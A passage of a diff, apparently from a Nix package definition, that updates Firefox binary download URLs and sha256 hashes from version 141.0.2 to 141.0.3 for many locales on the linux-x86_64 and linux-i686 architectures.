+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/si/firefox-141.0.3.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "947437ae77a8170b95c90eec6b2da8eb256f49948611430d5ccb4cc777b9d3b7";
+      sha256 = "65f2153b2e9d84aef26d32e5996549fe28352d5562f8e3b9c436f26267e71b3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sk/firefox-141.0.3.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "f425e4240ff2c1c3fab396635f0cc57621e9085a502af701f07a88ec091d5ef5";
+      sha256 = "31bdef610c0981dde69ff5fc6b52bc47c13959593732e43d9e9a023163dfdaac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/skr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/skr/firefox-141.0.3.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "62830413d9ec706696fd4b7209a6d1a2c95e9df860c0088ed6f457073ff7fca0";
+      sha256 = "a2c8243c422bd59345c827bf21dbd547bc90d4a910d7a980b499ced6d1f7f4e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sl/firefox-141.0.3.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "3d7bfcf450d24d5517e69178a1d8d75ab8db4df827e11a3913f2ef6e9f3063c0";
+      sha256 = "39a7c3a9c39ca27d1f74c91820eb99bbbb343606c701c3bac262aa7f36f8aa91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/son/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/son/firefox-141.0.3.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "e08fde0f970da5b5611952d5ea36c79c8a4f49c8a7a45763648dad19b401f9c5";
+      sha256 = "5d6e3a82abf8ab47a79d172346fcd2f0776eb03e241a48925249bbcb876ad95f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sq/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sq/firefox-141.0.3.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "05d9d7c2ecf1ecbb3e4d38223e0be234a7ac5c2fe0fa74532d6b88ae45da3b24";
+      sha256 = "ef0d73a552521da111a7e5d656431e6ea41c9b5ea6a2588daf70511f2c9d7ed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sr/firefox-141.0.3.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "89aa24a9ad872292191cff0dd9fee34195eef04e460235f45036c46a05746d5a";
+      sha256 = "6b1b550a3264ac2a6f38a495483df69233da8b69359e95a994d69ec6fb34f207";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sv-SE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sv-SE/firefox-141.0.3.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "3c426261929d4f9a43daa232e072f7e10470e5b480d4a32522e9d6ff2a8de5e2";
+      sha256 = "fca7ee95852ae2e035501cc6bb9bc5209c50aec1b99e04594885731c541c9ef7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/szl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/szl/firefox-141.0.3.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "49ba469a36e565ac63ac0ce82107f6c9285e78cd892aab25ced85c4d57b165a4";
+      sha256 = "c3c4786dd3e67fa218bde85acd35da7080a675ea1620b3e843e7d0078473d83c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ta/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ta/firefox-141.0.3.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "dd5c4260ef360c7d7985d09c79c5cf8dde50d768caed76c691719f06848c5ae5";
+      sha256 = "a4ddd375e6eaea0dcbd780cdc3b3adffaa54c911cedcedd794f09b9f72dcb890";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/te/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/te/firefox-141.0.3.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "381b0d5678594a861e6f965e1df56340f6ccf260ca3b6329637463a3ba929f9f";
+      sha256 = "07dbf1ede2211fb3e40ea5b0d385f9db4fc3db9f6731cfeb2ee6879cd0e9f8a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tg/firefox-141.0.3.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "cb7e6c8478ea2d3d711c9784c3995a344f4ae0c4ee798a31031af41fb3f38250";
+      sha256 = "bb525b288b4675fee1bd4ae8ef9ef257f67d2aed6b7f55bad521554950dcea4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/th/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/th/firefox-141.0.3.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "02431a027d5d17fe05108a548cbf67d818e818b10377bc5fb0056e3025444698";
+      sha256 = "460dc2824d799ba7fc7962215dfbb64728cdcc1c9c4dbf37aed4f711193adf73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tl/firefox-141.0.3.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "f1cd1430a6b569d10187de0f0e58bac5f31bd8465e76f03a5372a9b7f2b72ef5";
+      sha256 = "f17e55bf0f527f25636997a2994ef5015dbe2efe652da21bf8de0c9082166b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/tr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tr/firefox-141.0.3.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "d0bac9922bd904517deb5f7a09482ed3b7c795581d76f0dd84366f1e1e5d967e";
+      sha256 = "b2cccbd810fbff42ef813eed3bf4fa0d79bc6fc5e7bd0be8d6f988b5ded2b04d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/trs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/trs/firefox-141.0.3.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "aea868e859fe2cd840cdb4ae65aaf96aa5fc9a8d9d4a3aaaa48df3de5e01542e";
+      sha256 = "7423e305071334bd4c3cdf0f042b282f69e69f77a251a27db788f6aa1143b87d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/uk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/uk/firefox-141.0.3.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "f4ee5c62fd4cf46fe256a10806540bfe0631939c3435cebf1415b0d07e1993a7";
+      sha256 = "08b7faa09dd02b3cc0e18638c1c49334a002f681e0d568b33a8e77fb7df8ecc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ur/firefox-141.0.3.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "1afa38570bec46cc862f240f2967a2d0ea1000a80e5a409142588bcb9124b6be";
+      sha256 = "e8df2fd0571ea3cfa0a2a214fb0aecc2dc0501dbf34f697ec2405a0d34ad0856";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/uz/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/uz/firefox-141.0.3.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "d0b63a28f7530fb8eac7f1ee4a2ed1c35e2171a090a54f7f5e8326d0d492c6df";
+      sha256 = "43b31557610d0b1906a765f7ae5b9b6e10acd1080f3be5624b2f655bad5cea85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/vi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/vi/firefox-141.0.3.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "bb67ab104fa0d20637bb5d4b818a832155942269ccfbf47c0d63c6713f97754d";
+      sha256 = "ec6b0ce219d1c8d484388bd4579c0cf38be2cf5384e02613412123e18f44f3cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/xh/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/xh/firefox-141.0.3.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "0b7b08f9d61622aedfbfd8df258ddd24b0c2d722206994690e277165e3e27cde";
+      sha256 = "207a37f147b854c9a3ffd23df767b428a2f4ad1d9bb8de542ba56a0569293463";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/zh-CN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/zh-CN/firefox-141.0.3.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "239675fbcca82eda60249fa6aca7566cf4fb277607b4bf204490c07957681f17";
+      sha256 = "c77dea8cec09985661c8b4270cffad80f315ac8fd31daf657a83485a48d9f48e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/zh-TW/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/zh-TW/firefox-141.0.3.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "a6c337731b273c05a12b805f3ad26c87c548cd525eb09d40df723f2c2923bf7e";
+      sha256 = "e68a2e2440c11c1c432a0cd3fa39c4a1e35283d15939e48aed3537d740019760";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ach/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ach/firefox-141.0.3.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "d3a19bd75414ff8a2ae095e790925fb8ada4fa8901b91958223cd38a850cb12d";
+      sha256 = "430afe73bec379064f9991b94c7601ce1a215abe9e77d0d3d3693393e59411c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/af/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/af/firefox-141.0.3.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "00938cfa116be7fff5181e2f3dcc7977701c9df4c685d4b0b24271598c6db5cc";
+      sha256 = "b1e4a9da21efb4dc1209c6dc3bf02697c529b359d20d38a0df7c0273499d8c32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/an/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/an/firefox-141.0.3.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "68088f4e1a394567c7797a3c0806d8cd028a5ef0c3a8add56da7ecc1f46b4508";
+      sha256 = "3d89974b36c94100b286ae574b3009924ac6c2d5ded3785c1b1d777a01436641";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ar/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ar/firefox-141.0.3.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "800687cb2b020e4d14e972c2ca2e26d6b18329e546757aeea1372f874994ea82";
+      sha256 = "35d29bb4f36b5ea18478db7a3d1682c04258d660dc86681f81e5e54922395863";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ast/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ast/firefox-141.0.3.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "739e411dcaa9eec2be2204b0d8bec1e2508e6b01605caae94319b5a780ae9298";
+      sha256 = "54826a2feccbad02eb5ef4d6a7c9693fa808d7208eba65ba0ebc45044142d597";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/az/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/az/firefox-141.0.3.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "f918251a60131c6038d61e886087ce978db6a274148ada843bc90901ad4f51e8";
+      sha256 = "c5b2083cd46261cebfb95f25bf73c06372e82efa0ea311211d6bf5f0b07ee279";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/be/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/be/firefox-141.0.3.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "3c54a325b121a82e117827e8b7869b362a15a4b819b14d0e02ba9d6fe4f8b069";
+      sha256 = "2d94ffa8fb7220859a320bd4032434e925fdd778184f52872f56526bcbdda6a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bg/firefox-141.0.3.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "dbbd6f19c508bd189b7833094724729770196489df8edf3731e04d64bb2fd102";
+      sha256 = "cb61e1c0a88f92f11c4bd1b811a6b39a319ce95816ebe58c4e662ee50ff186cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bn/firefox-141.0.3.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "e4e38302c14ff9fba9874af05fe9af43771fd571fa1c4db39a89782d98fe7713";
+      sha256 = "029258a2a00b56c556750b569e3884b860e8b038f38727472f4cea91a43863ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/br/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/br/firefox-141.0.3.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "612d43e027ec457d9d94a2b5d8c12fabe14d6cb7e56a639e52bc3644eeb7a07f";
+      sha256 = "1281010d16e1834487155bea138ca826b7dbfcb541252306b1984f995e449060";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/bs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bs/firefox-141.0.3.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "a89debbfba7ee8dc6f028d3dcae3707be7521a41f1afdb682cd80ec84d774cb7";
+      sha256 = "04b4ea9e36665de7fbb57652756703431d893e568a9e56a7482273cc436cec32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ca-valencia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ca-valencia/firefox-141.0.3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "5b130d647bab23a0542e1317d73f558cef5ccb4924ac5028d4664a8d62e6297a";
+      sha256 = "8c83bc9b8983529f9e623fef98003848ccb15844530c95cd5f852be3eb87e307";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ca/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ca/firefox-141.0.3.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "c927cd618c1d122ec4bfc946093830bf31c72e7535bec5d996e497a132aa70c0";
+      sha256 = "41de6dca478d45cf7fbb192e5c86be1589cfd817ed0b59ac5e8225906f5cede5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cak/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cak/firefox-141.0.3.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "d72bc887e72aa7e82f345ea74277e13e217d1b84c25b997903b7c6acc81f5325";
+      sha256 = "0dd7eb6969df8388a1a5ef09eefd3fa38854a46bfdfa0c61a7e499a84f335af2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cs/firefox-141.0.3.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "91030dc6d50f2c449630c3c2d2ffe893a44a2ab436c520530ecaf8b614bbb7ac";
+      sha256 = "c50b643127c85aed97d9ba2336df8003d7b2a209986b76cbaa42a2caefbb9c8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/cy/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cy/firefox-141.0.3.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "bc059d8a3e3930c4e1345fdbdd39d4b0ba55cc3a3b7bf9605aa24cf1d0335eef";
+      sha256 = "27b32566217af2553eff27d770fee2a7cffae0b9c1b482d1adba9874653572ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/da/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/da/firefox-141.0.3.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "c1c1e0854369a6c3ce8eb40dfc0c6d48787f15a3533baf6aa3b31a6f1efa8cfa";
+      sha256 = "ad9dcdb91517b93e8f14bdb4da9d716c5015fc7f7b3ba4fe89b28bd768907eea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/de/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/de/firefox-141.0.3.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "cfa5f3759394399ae676d7497d3823639a63d1adfdb1a7b4e23d7adc198f34d2";
+      sha256 = "d2c586a4beb4d36571bbb24956835257a94f6f7b817b5199b96e05bba4642bfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/dsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/dsb/firefox-141.0.3.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "dd2e800571d30f9cfec4500c57652d68329bb526f0510881e82f6af19de7e51c";
+      sha256 = "3dc3de3d15a0396b29d79221f7c657c511da50b1c52fbf5d0d395af68c219793";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/el/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/el/firefox-141.0.3.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "a2e84b3e3a0af1a4a9d8b9fd394f38d374f405ab0234aac2dda4bef1fd61e27b";
+      sha256 = "fa100a3b13faea853813d9f932dd0d235c94d70bd3532354b0f51df6bcc63855";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-CA/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-CA/firefox-141.0.3.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "e7c38b6558a5af2a7c5ea35913ccbe1cfc734819ca262123edf3fa34ba3f19f7";
+      sha256 = "6ac6abda7b0f89daa5cd995f2d8cc12ee4356030cab564f5edd900ae01b0235f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-GB/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-GB/firefox-141.0.3.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "14c17125ac136d295d5a48dedc3d6e57c77b2277bfbed556e59a1c0d577eb861";
+      sha256 = "519cdd6f0b84d50e0c76bce2529ffa482fede20198f5e20f7ec738322759c086";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/en-US/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-US/firefox-141.0.3.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "8ba3739a79e5e64932cefb097d214b2a87f5af4edd956e4a519fe844e77f983a";
+      sha256 = "c25a2bccaf4834fffc9373a56b4325adbd2de93a3e16be148714e98b060ffb47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/eo/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/eo/firefox-141.0.3.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "bfcf194876df5a195be68df80fe5f970853293a20d4a4031515e62d268e5a0c3";
+      sha256 = "3563a0f51f26ca176f4768a8371f072f00d1e9d4541a05ad548cdc59020da081";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-AR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-AR/firefox-141.0.3.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "2cfed8204cf3cfba9d3515127aaab2215a47af7ade6bce449422fe4e8a2eadf1";
+      sha256 = "b178b3c9b82918ef2a60e71034a5e2ebd8f02837e8644760398b13f5ad3ddce7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-CL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-CL/firefox-141.0.3.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "82e982e5d245de5c20519d5ddfb1164df4e8b7e9fbb70432608b7e4f6726d3ba";
+      sha256 = "a75d85a4ce1688db409ff5715fb7de3fd976599bef192ed9b4601a63d1eb1329";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-ES/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-ES/firefox-141.0.3.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "33c5bd5a27bf51a1125995c89336484382c30761898a3a37ac8b6dcd2ba55cc7";
+      sha256 = "b580f83418fb8938d6aee9f7513fb79e12570789deab418e43d6ad40bd43cee6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/es-MX/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-MX/firefox-141.0.3.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "74790e0c8f1385e7dfcc6eb209d18e9ee03375563165f74f8294a4528a02bf84";
+      sha256 = "eacf0db15e324426bc68ab12a3699c2a1f3bb354523fc7ae4975989786bb29dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/et/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/et/firefox-141.0.3.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "b834690502cff9946431f49f492b2cba675cfc3a7101348ea407b203296d1cc6";
+      sha256 = "0126372b0ca3d832130ea86749ec97996350539c0ab9121f0356b3290e71ee9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/eu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/eu/firefox-141.0.3.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "903806eb8338539dd593dda7f4dbf50e2318cad3efa3e60d6aaad52661f9c619";
+      sha256 = "e00604f526da6689248506b2e815c18a4867d08f944367d90d22ce82f2e3433f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fa/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fa/firefox-141.0.3.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "784cc1a4906c3dba9b52111f9f6f36875f5717aadb265bbfb336112ab04ed76c";
+      sha256 = "8537bd4650e8856a2b45f87cbd984a3d3612c9cc0863d7664a0d64121515929a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ff/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ff/firefox-141.0.3.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "551ba8b3fb5b5ed243724e6a118fca71db85d0e3abb7c40ce76aa8371d3ca762";
+      sha256 = "a923380c701d00297a667aeb9f050fb93c650fa5d855a73b98af141eb5ce7061";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fi/firefox-141.0.3.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "786d90a7e3c8c9866888ecfa8e93e68377ac9d6b897d37c34f2a1d2c6aaa82f3";
+      sha256 = "4f457ec29c0e4fd17efa639688f2c07deb648e3a3cda70ad888b05791e5d24bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fr/firefox-141.0.3.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "0dae6f4b284f342337feba5a9e5ec54f7e90785ee5863018019c8797ce052748";
+      sha256 = "88d55afcc9f798114aba4cd4dc704e30223253f057f1ffbdd13f4901818b2851";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fur/firefox-141.0.3.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "52d0bcee3c02c7b7e9759859cd3498c2eafd44646c01b0edcb7fcbb9406b8646";
+      sha256 = "f4d87d8d5a6200ba7edd3896f5b36e1eb51f97d155347cddd30c6438e5469655";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/fy-NL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fy-NL/firefox-141.0.3.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "f195b193638405b0655af5b2c4489a3ba673e0836a95f15f6a1fa61cb18b7878";
+      sha256 = "70a871dbe5dd29906d0d319f27612ae869329a878e281881026536c4f64718d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ga-IE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ga-IE/firefox-141.0.3.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
